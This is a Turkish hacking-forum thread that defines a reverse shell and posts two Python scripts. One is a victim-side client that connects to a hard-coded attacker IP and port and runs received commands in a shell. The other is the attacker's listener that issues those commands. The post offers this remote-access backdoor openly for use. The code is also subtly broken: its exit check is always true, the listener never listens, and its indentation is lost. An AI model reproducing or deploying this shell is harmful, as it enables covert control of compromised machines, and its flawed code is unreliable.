Python TCP Reverse Shell (1 Viewer)

Reverse Shell Nedir: "Ele geçirilen sunucu; netcat, yada python, perl vb programlama dilleri ile yazılmış scriptler ile saldırganın bilgisayarının dinlemede olduğu bir portuna...

Reverse Shell Nedir:
"Ele geçirilen sunucu; netcat, yada python, perl vb programlama dilleri ile yazılmış scriptler ile saldırganın bilgisayarının dinlemede olduğu bir portuna bağlantı talebi gerçekleştirmesine dayanmaktadır."

Python ile yazdığım örnek:

Server.py

import socket
import subprocess
port = 6161
ip = "192.168.0.28"
def yolla():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))

while True:
komut = s.recv(1024)

if 'cikis' or 'exit' or 'finish' in komut:
s.close()
break
else:
komut_calistir = subprocess.Popen(komut, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE)
s.send(komut_calistir.stdout.read())
s.send(komut_calistir.stderr.read())
yolla()



shell.py

import socket
port = 6161
ip = "192.168.0.28"
def yolla():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((ip,port))

socketaddr,ipaddr = s.accept()
print('[+]Baglanti basariyla saglandi ', ipaddr)
while True:
komut = input('[*]Komut> ')
if 'cikis' or 'exit' or 'finish' in komut:
socketaddr.send('cikis')
socketaddr.close()
break
else:
socketaddr.send(komut)
print(socketaddr.recv(1024))
yolla()
 
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl
Yanıt yazmak için giriş yapmalısınız
Forum özelliklerini kullanmak ve Level 2 üyelik satın almak için hesabınıza giriş yapın.

Users who are viewing this thread

133,176Konular
3,282,652Mesajlar
319,454Kullanıcılar
denizz06Son Üye
Üst Alt